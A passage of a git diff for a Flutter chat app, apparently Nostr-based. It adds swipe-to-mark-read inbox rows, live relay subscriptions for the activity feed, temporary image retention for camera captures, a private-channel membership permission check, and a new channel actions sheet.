+                        next >= _inboxSwipeLabelRevealWidth) {
+                      labelHapticFired.value = true;
+                      unawaited(HapticFeedback.selectionClick());
+                    }
+                    revealAmount.value = next;
+                  },
+                  onHorizontalDragEnd: (details) {
+                    isDragging.value = false;
+                    final velocity = details.primaryVelocity ?? 0;
+                    final shouldCommit =
+                        (velocity * swipeDirection) < -900 ||
+                        revealAmount.value >= actionExtent * commitThreshold;
+                    if (shouldCommit) {
+                      toggleReadState();
+                    } else {
+                      revealAmount.value =
+                          (velocity * swipeDirection) < -200 ||
+                              revealAmount.value >= restingRevealWidth / 2
+                          ? restingRevealWidth
+                          : 0;
+                    }
+                  },
+                  child: Material(
+                    color: context.colors.surface,
+                    child: InkWell(
+                      key: ValueKey('inbox-row-${item.id}'),
+                      onTap: onTap,
+                      onLongPress: () => _showRowActions(context),
+                      child: Padding(
+                        padding: const EdgeInsets.symmetric(
+                          horizontal: Grid.gutter,
+                          vertical: Grid.twelve,
                         ),
-                      ),
-                      if (label.channelLabel != null) ...[
-                        const SizedBox(width: Grid.half),
-                        Flexible(
-                          child: Container(
-                            padding: const EdgeInsets.symmetric(
-                              horizontal: Grid.half + Grid.quarter,
-                              vertical: Grid.quarter / 2,
+                        child: Row(
+                          crossAxisAlignment: CrossAxisAlignment.start,
+                          children: [
+                            _RowAvatar(
+                              pubkey: item.item.pubkey,
+                              profile: profile,
                             ),
-                            decoration: BoxDecoration(
-                              color: context.colors.surfaceContainerHighest,
-                              borderRadius: BorderRadius.circular(Grid.half),
-                            ),
-                            child: Text(
-                              '#${label.channelLabel}',
-                              style: activityContextTextStyle.copyWith(
-                                color: mutedColor,
+                            const SizedBox(width: messageAvatarContentGap),
+                            Expanded(
+                              child: Column(
+                                crossAxisAlignment: CrossAxisAlignment.start,
+                                children: [
+                                  // Sender + unread dot + timestamp.
+                                  Row(
+                                    children: [
+                                      Expanded(
+                                        child: MessageAuthorMeta(
+                                          displayName: senderLabel,
+                                          username: messageUsernameLabel(
+                                            profile,
+                                          ),
+                                          timestamp: _inboxTimestamp(
+                                            item.latestActivityAt,
+                                          ),
+                                          nameColor: context.colors.onSurface,
+                                          metadataColor: mutedColor,
+                                          nameStyle: activityUsernameTextStyle,
+                                          metadataStyle:
+                                              activityTimestampTextStyle,
+                                          displayNameKey: ValueKey(
+                                            'activity-author-${item.id}',
+                                          ),
+                                          usernameKey: ValueKey(
+                                            'activity-username-${item.id}',
+                                          ),
+                                          timestampKey: ValueKey(
+                                            'activity-timestamp-${item.id}',
+                                          ),
+                                        ),
+                                      ),
+                                      if (!isDone) ...[
+                                        const SizedBox(width: Grid.xxs),
+                                        Container(
+                                          key: ValueKey(
+                                            'inbox-unread-dot-${item.id}',
+                                          ),
+                                          width: 6,
+                                          height: 6,
+                                          decoration: BoxDecoration(
+                                            shape: BoxShape.circle,
+                                            color: context.colors.primary,
+                                          ),
+                                        ),
+                                      ],
+                                    ],
+                                  ),
+                                  const SizedBox(height: Grid.quarter),
+                                  // Contextual label: "Mentioned in #channel" etc.
+                                  Row(
+                                    children: [
+                                      Flexible(
+                                        child: Text(
+                                          label.text,
+                                          style: activityContextTextStyle
+                                              .copyWith(color: labelColor),
+                                          overflow: TextOverflow.ellipsis,
+                                        ),
+                                      ),
+                                      if (label.channelLabel != null) ...[
+                                        const SizedBox(width: Grid.half),
+                                        Flexible(
+                                          child: Container(
+                                            padding: const EdgeInsets.symmetric(
+                                              horizontal:
+                                                  Grid.half + Grid.quarter,
+                                              vertical: Grid.quarter / 2,
+                                            ),
+                                            decoration: BoxDecoration(
+                                              color: context
+                                                  .colors
+                                                  .surfaceContainerHighest,
+                                              borderRadius:
+                                                  BorderRadius.circular(
+                                                    Grid.half,
+                                                  ),
+                                            ),
+                                            child: Text(
+                                              '#${label.channelLabel}',
+                                              style: activityContextTextStyle
+                                                  .copyWith(color: mutedColor),
+                                              overflow: TextOverflow.ellipsis,
+                                            ),
+                                          ),
+                                        ),
+                                      ],
+                                    ],
+                                  ),
+                                  const SizedBox(height: Grid.half),
+                                  // Message preview.
+                                  MessageContent(
+                                    content: item.item.displayContent,
+                                    mentionNames: mentionNames,
+                                    agentMentionPubkeys: agentMentionPubkeys,
+                                    tags: item.item.tags,
+                                    maxLines: 2,
+                                    baseStyle: activityPreviewTextStyle
+                                        .copyWith(
+                                          color: context.colors.onSurface,
+                                        ),
+                                  ),
+                                ],
                               ),
-                              overflow: TextOverflow.ellipsis,
                             ),
-                          ),
+                          ],
                         ),
-                      ],
-                    ],
-                  ),
-                  const SizedBox(height: Grid.half),
-                  // Message preview.
-                  MessageContent(
-                    content: item.item.displayContent,
-                    mentionNames: mentionNames,
-                    agentMentionPubkeys: agentMentionPubkeys,
-                    tags: item.item.tags,
-                    maxLines: 2,
-                    baseStyle: activityPreviewTextStyle.copyWith(
-                      color: context.colors.onSurface,
+                      ),
                     ),
                   ),
-                ],
+                ),
               ),
-            ),
-          ],
-        ),
-      ),
+            ],
+          ),
+        );
+      },
     );
   }
 
   void _showRowActions(BuildContext context) {
-    showModalBottomSheet<void>(
+    showBuzzModalBottomSheet<void>(
       context: context,
       builder: (sheetContext) => SafeArea(
-        child: Column(
-          mainAxisSize: MainAxisSize.min,
-          children: [
-            ListTile(
-              leading: Icon(
-                isDone ? LucideIcons.mail : LucideIcons.mailOpen,
-                size: 20,
-              ),
-              title: Text(isDone ? 'Mark unread' : 'Mark as read'),
-              onTap: () {
-                Navigator.of(sheetContext).pop();
-                isDone ? onMarkUnread() : onMarkRead();
-              },
-            ),
-            ListTile(
-              leading: const Icon(LucideIcons.externalLink, size: 20),
-              title: const Text('Open conversation'),
-              onTap: () {
-                Navigator.of(sheetContext).pop();
-                onTap();
-              },
+        child: Padding(
+          padding: const EdgeInsets.fromLTRB(
+            Grid.gutter,
+            0,
+            Grid.gutter,
+            Grid.xs,
+          ),
+          child: IconTheme.merge(
+            data: const IconThemeData(size: 18),
+            child: Column(
+              mainAxisSize: MainAxisSize.min,
+              children: [
+                ListTile(
+                  leading: Icon(
+                    isDone ? LucideIcons.mail : LucideIcons.mailOpen,
+                  ),
+                  title: Text(isDone ? 'Mark unread' : 'Mark as read'),
+                  onTap: () {
+                    Navigator.of(sheetContext).pop();
+                    isDone ? onMarkUnread() : onMarkRead();
+                  },
+                ),
+                ListTile(
+                  leading: const Icon(LucideIcons.externalLink),
+                  title: const Text('Open conversation'),
+                  onTap: () {
+                    Navigator.of(sheetContext).pop();
+                    onTap();
+                  },
+                ),
+              ],
             ),
-          ],
+          ),
         ),
       ),
     );
   }
 }
 
+class _InboxSwipeAction extends StatelessWidget {
+  final Color color;
+  final Color foregroundColor;
+  final IconData icon;
+  final String label;
+  final VoidCallback onTap;
+
+  const _InboxSwipeAction({
+    super.key,
+    required this.color,
+    required this.foregroundColor,
+    required this.icon,
+    required this.label,
+    required this.onTap,
+  });
+
+  @override
+  Widget build(BuildContext context) => Material(
+    color: color,
+    borderRadius: BorderRadius.circular(Radii.full),
+    clipBehavior: Clip.antiAlias,
+    child: InkWell(
+      onTap: onTap,
+      borderRadius: BorderRadius.circular(Radii.full),
+      child: Semantics(
+        button: true,
+        label: label,
+        child: LayoutBuilder(
+          builder: (context, constraints) {
+            if (constraints.maxWidth < Grid.lg) {
+              return const SizedBox.shrink();
+            }
+            final showLabel =
+                constraints.maxWidth >= _inboxSwipeActionLabelMinWidth;
+            return Column(
+              mainAxisAlignment: MainAxisAlignment.center,
+              children: [
+                Icon(icon, size: 18, color: foregroundColor),
+                if (showLabel) ...[
+                  const SizedBox(height: Grid.quarter),
+                  Padding(
+                    padding: const EdgeInsets.symmetric(horizontal: Grid.xxs),
+                    child: Text(
+                      label,
+                      maxLines: 2,
+                      softWrap: true,
+                      textAlign: TextAlign.center,
+                      style: context.textTheme.labelSmall?.copyWith(
+                        color: foregroundColor,
+                        fontWeight: FontWeight.w600,
+                      ),
+                    ),
+                  ),
+                ],
+              ],
+            );
+          },
+        ),
+      ),
+    ),
+  );
+}
+
 class _RowAvatar extends StatelessWidget {
   final String pubkey;
   final UserProfile? profile;
diff --git a/mobile/lib/features/activity/activity_page/lists.dart b/mobile/lib/features/activity/activity_page/lists.dart
index 37311c9287..7b4be901e1 100644
--- a/mobile/lib/features/activity/activity_page/lists.dart
+++ b/mobile/lib/features/activity/activity_page/lists.dart
@@ -3,10 +3,15 @@ part of '../activity_page.dart';
 /// Reminders surface for the Reminders filter — due/pending NIP-ER
 /// reminders that deep-link to their target message.
 class _RemindersList extends ConsumerWidget {
+  final ScrollController scrollController;
   final void Function(Reminder reminder) onOpen;
   final Future<void> Function() onRefresh;
 
-  const _RemindersList({required this.onOpen, required this.onRefresh});
+  const _RemindersList({
+    required this.scrollController,
+    required this.onOpen,
+    required this.onRefresh,
+  });
 
   @override
   Widget build(BuildContext context, WidgetRef ref) {
@@ -36,7 +41,8 @@ class _RemindersList extends ConsumerWidget {
     return RefreshIndicator(
       onRefresh: onRefresh,
       child: ListView.builder(
-        padding: const EdgeInsets.symmetric(vertical: Grid.xxs),
+        controller: scrollController,
+        padding: _activityScrollPadding(context),
         itemCount: reminders.length,
         itemBuilder: (context, index) {
           final reminder = reminders[index];
@@ -73,6 +79,7 @@ class _RemindersList extends ConsumerWidget {
 /// text that reopens the target composer.
 class _DraftsList extends StatelessWidget {
   final List<ComposeDraft> drafts;
+  final ScrollController scrollController;
   final Map<String, Channel> channelById;
   final String? myPubkey;
   final void Function(ComposeDraft draft) onOpen;
@@ -80,6 +87,7 @@ class _DraftsList extends StatelessWidget {
 
   const _DraftsList({
     required this.drafts,
+    required this.scrollController,
     required this.channelById,
     required this.myPubkey,
     required this.onOpen,
@@ -97,7 +105,8 @@ class _DraftsList extends StatelessWidget {
     }
 
     return ListView.builder(
-      padding: const EdgeInsets.symmetric(vertical: Grid.xxs),
+      controller: scrollController,
+      padding: _activityScrollPadding(context),
       itemCount: drafts.length,
       itemBuilder: (context, index) {
         final draft = drafts[index];
diff --git a/mobile/lib/features/activity/activity_page/status_views.dart b/mobile/lib/features/activity/activity_page/status_views.dart
index 11115d9dc8..ec7e969034 100644
--- a/mobile/lib/features/activity/activity_page/status_views.dart
+++ b/mobile/lib/features/activity/activity_page/status_views.dart
@@ -1,12 +1,20 @@
 part of '../activity_page.dart';
 
 class _LoadingSkeleton extends StatelessWidget {
-  const _LoadingSkeleton();
+  final ScrollController scrollController;
+
+  const _LoadingSkeleton({required this.scrollController});
 
   @override
   Widget build(BuildContext context) {
     return ListView.separated(
-      padding: const EdgeInsets.all(Grid.gutter),
+      controller: scrollController,
+      padding: _activityScrollPadding(
+        context,
+        horizontal: Grid.gutter,
+        top: Grid.gutter,
+        bottom: Grid.gutter,
+      ),
       itemCount: 8,
       separatorBuilder: (_, _) => const SizedBox(height: Grid.xs),
       itemBuilder: (context, _) => Row(
diff --git a/mobile/lib/features/activity/activity_provider.dart b/mobile/lib/features/activity/activity_provider.dart
index 87f00bf2bb..3581cbd551 100644
--- a/mobile/lib/features/activity/activity_provider.dart
+++ b/mobile/lib/features/activity/activity_provider.dart
@@ -1,3 +1,6 @@
+import 'dart:async';
+
+import 'package:flutter/foundation.dart';
 import 'package:hooks_riverpod/hooks_riverpod.dart';
 
 import '../../shared/relay/relay.dart';
@@ -16,15 +19,164 @@ import 'inbox_item.dart';
 /// - recent DM messages from others (desktop surfaces DMs through p-tags;
 ///   mobile queries DM channels directly so untagged DM sends still appear)
 class ActivityNotifier extends AsyncNotifier<HomeFeedResponse> {
+  static const _addressedKinds = [
+    1,
+    9,
+    40002,
+    43001,
+    43002,
+    43003,
+    43004,
+    43005,
+    43006,
+    45001,
+    45003,
+    46010,
+    46011,
+    46012,
+  ];
+
+  void Function()? _unsubscribeAddressed;
+  void Function()? _unsubscribeDms;
+  Timer? _liveRefreshTimer;
+  Future<void>? _refreshInFlight;
+  int? _refreshGeneration;
+  bool _refreshQueued = false;
+  int _subscriptionGeneration = 0;
+
   @override
-  Future<HomeFeedResponse> build() {
+  Future<HomeFeedResponse> build() async {
     ref.watch(relayConfigProvider);
-    ref.watch(relaySessionProvider);
+    final sessionState = ref.watch(relaySessionProvider);
     // React to the DM channel set (loading → data, membership changes) so a
     // cold start where channels resolve after the first fetch still surfaces
     // DMs without a manual refresh.
     ref.watch(channelsProvider.select(_dmChannelKey));
-    return _fetch();
+
+    final generation = ++_subscriptionGeneration;
+    _clearLiveSubscriptions();
+    ref.onDispose(() {
+      _subscriptionGeneration += 1;
+      _clearLiveSubscriptions();
+    });
+
+    final response = await _fetch();
+    if (sessionState.status == SessionStatus.connected &&
+        generation == _subscriptionGeneration) {
+      unawaited(_subscribeLive(generation));
+    }
+    return response;
+  }
+
+  Future<void> _subscribeLive(int generation) async {
+    final myPk = ref.read(myPubkeyProvider);
+    if (myPk == null || generation != _subscriptionGeneration) return;
+
+    final session = ref.read(relaySessionProvider.notifier);
+    final since = DateTime.now().millisecondsSinceEpoch ~/ 1000 - 5;
+    try {
+      final unsubscribeAddressed = await session.subscribe(
+        NostrFilter(
+          kinds: _addressedKinds,
+          tags: {
+            '#p': [myPk],
+          },
+          since: since,
+          limit: 100,
+        ),
+        (_) => _scheduleLiveRefresh(generation),
+      );
+      if (generation != _subscriptionGeneration) {
+        unsubscribeAddressed();
+        return;
+      }
+      _unsubscribeAddressed = unsubscribeAddressed;
+
+      final dmChannelIds = [
+        for (final channel
+            in ref.read(channelsProvider).asData?.value ?? const <Channel>[])
+          if (channel.isDm && channel.isMember) channel.id,
+      ];
+      if (dmChannelIds.isEmpty) return;
+
+      final unsubscribeDms = await session.subscribe(
+        NostrFilter(
+          kinds: const [9],
+          tags: {'#h': dmChannelIds},
+          since: since,
+          limit: 100,
+        ),
+        (_) => _scheduleLiveRefresh(generation),
+      );
+      if (generation != _subscriptionGeneration) {
+        unsubscribeDms();
+        return;
+      }
+      _unsubscribeDms = unsubscribeDms;
+    } catch (error) {
+      if (generation == _subscriptionGeneration) {
+        debugPrint('[ActivityNotifier] live subscription failed: $error');
+      }
+    }
+  }
+
+  void _scheduleLiveRefresh(int generation) {
+    if (generation != _subscriptionGeneration) return;
+    _liveRefreshTimer?.cancel();
+    _liveRefreshTimer = Timer(
+      const Duration(milliseconds: 50),
+      () => unawaited(_queueRefresh(generation)),
+    );
+  }
+
+  Future<void> _queueRefresh(int generation) {
+    if (generation != _subscriptionGeneration) return Future.value();
+    _refreshQueued = true;
+    final inFlight = _refreshInFlight;
+    if (_refreshGeneration == generation && inFlight != null) {
+      return inFlight;
+    }
+
+    _refreshGeneration = generation;
+    final future = _drainRefreshQueue(generation);
+    _refreshInFlight = future;
+    return future;
+  }
+
+  Future<void> _drainRefreshQueue(int generation) async {
+    try {
+      do {
+        _refreshQueued = false;
+        try {
+          final next = await _fetch();
+          if (generation != _subscriptionGeneration) return;
+          state = AsyncData(next);
+        } catch (error) {
+          if (generation != _subscriptionGeneration) return;
+          debugPrint(
+            '[ActivityNotifier] inbox refresh failed; retaining feed: $error',
+          );
+        }
+      } while (_refreshQueued && generation == _subscriptionGeneration);
+    } finally {
+      if (_refreshGeneration == generation) {
+        _refreshInFlight = null;
+        _refreshGeneration = null;
+        _refreshQueued = false;
+      }
+    }
+  }
+
+  void _clearLiveSubscriptions() {
+    _liveRefreshTimer?.cancel();
+    _liveRefreshTimer = null;
+    _refreshInFlight = null;
+    _refreshGeneration = null;
+    _refreshQueued = false;
+    _unsubscribeAddressed?.call();
+    _unsubscribeAddressed = null;
+    _unsubscribeDms?.call();
+    _unsubscribeDms = null;
   }
 
   /// Stable identity for the joined DM channel set: null while channels are
@@ -162,7 +314,7 @@ class ActivityNotifier extends AsyncNotifier<HomeFeedResponse> {
   }
 
   Future<void> refresh() async {
-    state = await AsyncValue.guard(_fetch);
+    await _queueRefresh(_subscriptionGeneration);
   }
 }
 
diff --git a/mobile/lib/features/activity/inbox_read_state.dart b/mobile/lib/features/activity/inbox_read_state.dart
index 130562072c..8626b574f5 100644
--- a/mobile/lib/features/activity/inbox_read_state.dart
+++ b/mobile/lib/features/activity/inbox_read_state.dart
@@ -1,4 +1,4 @@
-import '../channels/read_state/read_state_format.dart';
+import '../../shared/read_state/read_state_format.dart';
 import 'inbox_item.dart';
 
 /// Resolves the effective NIP-RS read marker for one inbox row, mirroring
diff --git a/mobile/lib/features/channels/camera_capture_cleanup.dart b/mobile/lib/features/channels/camera_capture_cleanup.dart
index 469a150e13..479a5c04d8 100644
--- a/mobile/lib/features/channels/camera_capture_cleanup.dart
+++ b/mobile/lib/features/channels/camera_capture_cleanup.dart
@@ -2,6 +2,8 @@ import 'dart:io';
 
 import 'package:image_picker/image_picker.dart';
 
+var _retainedImageCounter = 0;
+
 Future<void> processCapturedImage(
   XFile image,
   Future<void> Function(XFile image) onCapture,
@@ -29,3 +31,51 @@ Future<void> processTemporaryImages(
     }
   }
 }
+
+/// Copies native-owned [images] into composer-owned temporary files.
+///
+/// Native camera and picker integrations delete their source files as soon as
+/// their callback returns. Deferred sends must therefore retain their own copy
+/// before queueing a preview for later upload.
+Future<List<XFile>> retainTemporaryImages(List<XFile> images) async {
+  final retained = <XFile>[];
+  try {
+    for (final image in images) {
+      final sourcePath = image.path;
+      final extension = _safeFileExtension(sourcePath);
+      final destination = File(
+        '${Directory.systemTemp.path}${Platform.pathSeparator}'
+        'buzz-compose-${DateTime.now().microsecondsSinceEpoch}-'
+        '${_retainedImageCounter++}$extension',
+      );
+      if (sourcePath.isNotEmpty && await File(sourcePath).exists()) {
+        await File(sourcePath).copy(destination.path);
+      } else {
+        await destination.writeAsBytes(await image.readAsBytes(), flush: true);
+      }
+      retained.add(
+        XFile(destination.path, name: image.name, mimeType: image.mimeType),
+      );
+    }
+    return retained;
+  } catch (_) {
+    for (final image in retained) {
+      try {
+        await File(image.path).delete();
+      } on FileSystemException {
+        // A failed copy may not have created every destination.
+      }
+    }
+    rethrow;
+  }
+}
+
+String _safeFileExtension(String path) {
+  final separator = path.lastIndexOf(Platform.pathSeparator);
+  final dot = path.lastIndexOf('.');
+  if (dot <= separator || dot == path.length - 1) return '.jpg';
+  final extension = path.substring(dot);
+  return RegExp(r'^\.[A-Za-z0-9]{1,10}$').hasMatch(extension)
+      ? extension
+      : '.jpg';
+}
diff --git a/mobile/lib/features/channels/channel.dart b/mobile/lib/features/channels/channel.dart
index 3104e90335..29db1f96c5 100644
--- a/mobile/lib/features/channels/channel.dart
+++ b/mobile/lib/features/channels/channel.dart
@@ -2,6 +2,11 @@ import 'package:flutter/foundation.dart';
 
 const Object _sentinel = Object();
 
+/// Shown when a private-channel add is refused, so a missing Invite action
+/// reads as a rule rather than a bug.
+const privateChannelAddDeniedMessage =
+    'Only channel owners and admins can add people to a private channel.';
+
 @immutable
 class Channel {
   final String id;
@@ -77,6 +82,17 @@ class Channel {
   bool get isForum => channelType == 'forum';
   bool get isDm => channelType == 'dm';
   bool get isPrivate => visibility == 'private';
+
+  /// Whether [selfRole] may add *another* identity here, mirroring the relay's
+  /// kind:9000 authority (`validate_admin_event` + `add_member`): DMs never,
+  /// open channels always, private channels owners/admins only. An unknown
+  /// visibility fails closed — the relay is the authority.
+  bool canAddMembers(String? selfRole) {
+    if (isDm) return false;
+    if (visibility == 'open') return true;
+    return selfRole == 'owner' || selfRole == 'admin';
+  }
+
   bool get isArchived => archivedAt != null;
 
   String displayLabel({String? currentPubkey}) {
diff --git a/mobile/lib/features/channels/channel_actions_sheet.dart b/mobile/lib/features/channels/channel_actions_sheet.dart
new file mode 100644
index 0000000000..4e821ecc07
--- /dev/null
+++ b/mobile/lib/features/channels/channel_actions_sheet.dart
@@ -0,0 +1,589 @@
+import 'dart:async';
+
+import 'package:flutter/material.dart';
+import 'package:flutter/services.dart';
+import 'package:hooks_riverpod/hooks_riverpod.dart';
+import 'package:lucide_icons_flutter/lucide_icons.dart';
+
+import '../../shared/clipboard_utils.dart';
+import '../../shared/mentions/agent_identity_provider.dart';
+import '../../shared/theme/theme.dart';
+import '../../shared/widgets/buzz_loading_indicator.dart';
+import '../../shared/widgets/modal_presentation.dart';
+import '../../shared/widgets/sheet_divider.dart';
+import 'channel.dart';
+import 'channel_management_provider.dart';
+import 'channel_mutes/channel_mutes_provider.dart';
+import 'channel_sections/channel_sections_provider.dart';
+import 'channel_stars/channel_stars_provider.dart';
+import 'channels_provider.dart';
+import 'manage_channel_sheet.dart';
+import '../../shared/read_state/read_state_provider.dart';
+import '../../shared/read_state/read_state_time.dart';
+
+/// Opens the mobile channel actions sheet and returns whether its parent page
+/// should close after a successful lifecycle action.
+Future<bool?> showChannelActionsSheet({
+  required BuildContext context,
+  required Channel channel,
+  required bool isUnread,
+  VoidCallback? onMarkRead,
+  String? sectionId,
+}) => showBuzzModalBottomSheet<bool>(
+  context: context,
+  isScrollControlled: true,
+  showDragHandle: true,
+  constraints: BoxConstraints(
+    maxWidth: 640,
+    maxHeight: MediaQuery.sizeOf(context).height * 0.7,
+  ),
+  builder: (_) => ChannelActionsSheet(
+    channel: channel,
+    isUnread: isUnread,
+    onMarkRead: onMarkRead,
+    sectionId: sectionId,
+  ),
+);
+
+/// Mobile action sheet for channel-level read, organization, and lifecycle
+/// operations.
+class ChannelActionsSheet extends ConsumerWidget {
+  const ChannelActionsSheet({
+    super.key,
+    required this.channel,
+    required this.isUnread,
+    this.onMarkRead,
+    this.sectionId,
+  });
+
+  final Channel channel;
+  final bool isUnread;
+  final VoidCallback? onMarkRead;
+  final String? sectionId;
+
+  @override
+  Widget build(BuildContext context, WidgetRef ref) {
+    final isMuted =
+        ref.watch(channelMutesProvider).store.channels[channel.id]?.muted ==
+        true;
+    final isStarred =
+        !channel.isDm &&
+        ref.watch(channelStarsProvider).store.channels[channel.id]?.starred ==
+            true;
+    final membersAsync = channel.isDm
+        ? const AsyncValue<List<ChannelMember>>.data([])
+        : ref.watch(channelMembersProvider(channel.id));
+    final agentOwnersAsync = channel.isDm
+        ? const AsyncValue<Map<String, String>>.data({})
+        : ref.watch(agentOwnersProvider);
+    final currentPubkey = ref.watch(currentPubkeyProvider)?.toLowerCase();
+    final currentMember = membersAsync.value?.cast<ChannelMember?>().firstWhere(
+      (member) => member?.pubkey.toLowerCase() == currentPubkey,
+      orElse: () => null,
+    );
+    final ownsOwnerAgent =
+        currentPubkey != null &&
+        membersAsync.value?.any(
+              (member) =>
+                  member.isOwner &&
+                  agentOwnersAsync.value?[member.pubkey.toLowerCase()]
+                          ?.toLowerCase() ==
+                      currentPubkey,
+            ) ==
+            true;
+    final canManageLifecycle =
+        currentMember?.isElevated == true || ownsOwnerAgent;
+    final canArchive = !channel.isArchived && canManageLifecycle;
+    final canUnarchive = channel.isArchived && canManageLifecycle;
+    final canDelete =
+        !channel.isArchived &&
+        (currentMember?.isOwner == true || ownsOwnerAgent);
+    final lifecycleCapabilitiesLoading =
+        membersAsync.isLoading || agentOwnersAsync.isLoading;
+    final lifecycleCapabilitiesUnavailable =
+        membersAsync.hasError || agentOwnersAsync.hasError;
+
+    void close() => Navigator.of(context).pop();
+
+    return SafeArea(
+      top: false,
+      child: IconTheme.merge(
+        data: const IconThemeData(size: 22),
+        child: SingleChildScrollView(
+          padding: const EdgeInsets.fromLTRB(
+            Grid.gutter,
+            0,
+            Grid.gutter,
+            Grid.xs,
+          ),
+          child: Column(
+            mainAxisSize: MainAxisSize.min,
+            children: [
+              if (!channel.isDm) ...[
+                _ChannelQuickActionsRow(
+                  isStarred: isStarred,
+                  isUnread: isUnread,
+                  onToggleStar: () {
+                    close();
+                    final notifier = ref.read(channelStarsProvider.notifier);
+                    isStarred
+                        ? notifier.unstarChannel(channel.id)
+                        : notifier.starChannel(channel.id);
+                  },
+                  onToggleRead: () {
+                    close();
+                    final timestamp = dateTimeToUnixSeconds(
+                      channel.lastMessageAt,
+                    );
+                    if (isUnread) {
+                      onMarkRead?.call();
+                      if (timestamp != null) {
+                        ref
+                            .read(readStateProvider.notifier)
+                            .markContextRead(
+                              channel.id,
+                              timestamp,
+                              clearForcedMessages: true,
+                            );
+                        ref
+                            .read(channelsProvider.notifier)
+                            .clearObservedUnreadCoveredByRead(
+                              channel.id,
+                              timestamp,
+                            );
+                      }
+                    } else {
+                      ref
+                          .read(readStateProvider.notifier)
+                          .markContextUnread(channel.id, channelId: channel.id);
+                    }
+                  },
+                ),
+                const SizedBox(height: Grid.xs),
+              ],
+              if (!channel.isDm)
+                ListTile(
+                  contentPadding: EdgeInsets.zero,
+                  leading: const Icon(LucideIcons.folderInput),
+                  title: const Text('Move to section…'),
+                  onTap: () async {
+                    final pageContext = Navigator.of(
+                      context,
+                      rootNavigator: true,
+                    ).context;
+                    close();
+                    await _showMoveSectionSheet(
+                      pageContext,
+                      ref,
+                      channel: channel,
+                      sectionId: sectionId,
+                    );
+                  },
+                ),
+              ListTile(
+                contentPadding: EdgeInsets.zero,
+                leading: Icon(isMuted ? LucideIcons.bell : LucideIcons.bellOff),
+                title: Text(isMuted ? 'Unmute channel' : 'Mute channel'),
+                onTap: () {
+                  close();
+                  final notifier = ref.read(channelMutesProvider.notifier);
+                  isMuted
+                      ? notifier.unmuteChannel(channel.id)
+                      : notifier.muteChannel(channel.id);
+                },
+              ),
+              if (!channel.isDm)
+                ListTile(
+                  contentPadding: EdgeInsets.zero,
+                  leading: const Icon(LucideIcons.settings),
+                  title: const Text('Manage channel'),
+                  onTap: () async {
+                    final shouldClose = await showBuzzModalBottomSheet<bool>(
+                      context: context,
+                      isScrollControlled: true,
+                      showDragHandle: true,
+                      constraints: BoxConstraints(
+                        maxWidth: 640,
+                        maxHeight: MediaQuery.sizeOf(context).height * 0.9,
+                      ),
+                      builder: (_) => ManageChannelSheet(channel: channel),
+                    );
+                    if (shouldClose == true && context.mounted) {
+                      Navigator.of(context).pop(true);
+                    }
+                  },
+                ),
+              ListTile(
+                contentPadding: EdgeInsets.zero,
+                leading: const Icon(LucideIcons.copy),
+                title: const Text('Copy channel name'),
+                onTap: () {
+                  close();
+                  copyToClipboard(
+                    context,
+                    channel.name,
+                    message: 'Channel name copied to clipboard',
+                  );
+                },
+              ),
+              ListTile(
+                contentPadding: EdgeInsets.zero,
+                leading: const Icon(LucideIcons.hash),
+                title: const Text('Copy channel ID'),
+                onTap: () {
+                  close();
+                  copyToClipboard(
+                    context,
+                    channel.id,
+                    message: 'Channel ID copied to clipboard',
+                  );
+                },
+              ),
+              if (!channel.isDm) ...[
+                const SheetDivider(),
+                if (channel.isMember && !channel.isArchived)
+                  _ActionTile(
+                    icon: LucideIcons.logOut,
+                    label: 'Leave channel',
+                    destructive: true,
+                    onTap: () => _confirmAndRun(
+                      context,
+                      ref,
+                      title: 'Leave #${channel.name}?',
+                      body: 'You’ll stop receiving messages from this channel.',
+                      confirmLabel: 'Leave',
+                      action: () => ref
+                          .read(channelActionsProvider)
+                          .leaveChannel(channel.id),
+                    ),
+                  ),
+                if (lifecycleCapabilitiesLoading)
+                  const ListTile(
+                    enabled: false,
+                    leading: BuzzLoadingIndicator(
+                      size: 20,
+                      semanticLabel: 'Loading channel actions',
+                    ),
+                    title: Text('Loading channel actions…'),
+                  )
+                else if (lifecycleCapabilitiesUnavailable)
+                  const ListTile(
+                    enabled: false,
+                    leading: Icon(LucideIcons.triangleAlert),
+                    title: Text('Channel actions unavailable'),
+                  )
+                else ...[
+                  if (canArchive)
+                    _ActionTile(
+                      icon: LucideIcons.archive,
+                      label: 'Archive channel',
+                      onTap: () => _confirmAndRun(
+                        context,
+                        ref,
+                        title: 'Archive #${channel.name}?',
+                        body: 'The channel will become read-only.',
+                        confirmLabel: 'Archive',
+                        action: () => ref
+                            .read(channelActionsProvider)
+                            .archiveChannel(channel.id),
+                      ),
+                    ),
+                  if (canUnarchive)
+                    _ActionTile(
+                      icon: LucideIcons.archiveRestore,
+                      label: 'Unarchive channel',
+                      onTap: () => _confirmAndRun(
+                        context,
+                        ref,
+                        title: 'Unarchive #${channel.name}?',
+                        body: 'The channel will become active again.',
+                        confirmLabel: 'Unarchive',
+                        action: () => ref
+                            .read(channelActionsProvider)
+                            .unarchiveChannel(channel.id),
+                      ),
+                    ),
+                  if (canDelete)
+                    _ActionTile(
+                      icon: LucideIcons.trash2,
+                      label: 'Delete channel',
+                      destructive: true,
+                      onTap: () => _confirmAndRun(
+                        context,
+                        ref,
+                        title: 'Delete #${channel.name}?',
+                        body:
+                            'This permanently deletes the channel and cannot be undone.',
+                        confirmLabel: 'Delete',
+                        action: () => ref
+                            .read(channelActionsProvider)
+                            .deleteChannel(channel.id),
+                      ),
+                    ),
+                ],
+              ],
+            ],
+          ),
+        ),
+      ),
+    );
+  }
+}
+
+class _ChannelQuickActionsRow extends StatelessWidget {
+  const _ChannelQuickActionsRow({
+    required this.isStarred,
+    required this.isUnread,
+    required this.onToggleStar,
+    required this.onToggleRead,
+  });
+
+  final bool isStarred;
+  final bool isUnread;
+  final VoidCallback onToggleStar;
+  final VoidCallback onToggleRead;
+
+  @override
+  Widget build(BuildContext context) => Row(
+    children: [
+      Expanded(
+        child: _ChannelQuickAction(
+          icon: isStarred ? LucideIcons.starOff : LucideIcons.star,
+          label: isStarred ? 'Unstar' : 'Star',
+          onTap: onToggleStar,
+        ),
+      ),
+      const SizedBox(width: Grid.twelve),
+      Expanded(
+        child: _ChannelQuickAction(
+          icon: isUnread ? LucideIcons.checkCheck : LucideIcons.circleDot,
+          label: isUnread ? 'Mark Read' : 'Mark Unread',
+          onTap: onToggleRead,
+        ),
+      ),
+    ],
+  );
+}
+
+class _ChannelQuickAction extends StatelessWidget {
+  const _ChannelQuickAction({
+    required this.icon,
+    required this.label,
+    required this.onTap,
+  });
+
+  final IconData icon;
+  final String label;
+  final VoidCallback onTap;
+
+  @override
+  Widget build(BuildContext context) => GestureDetector(
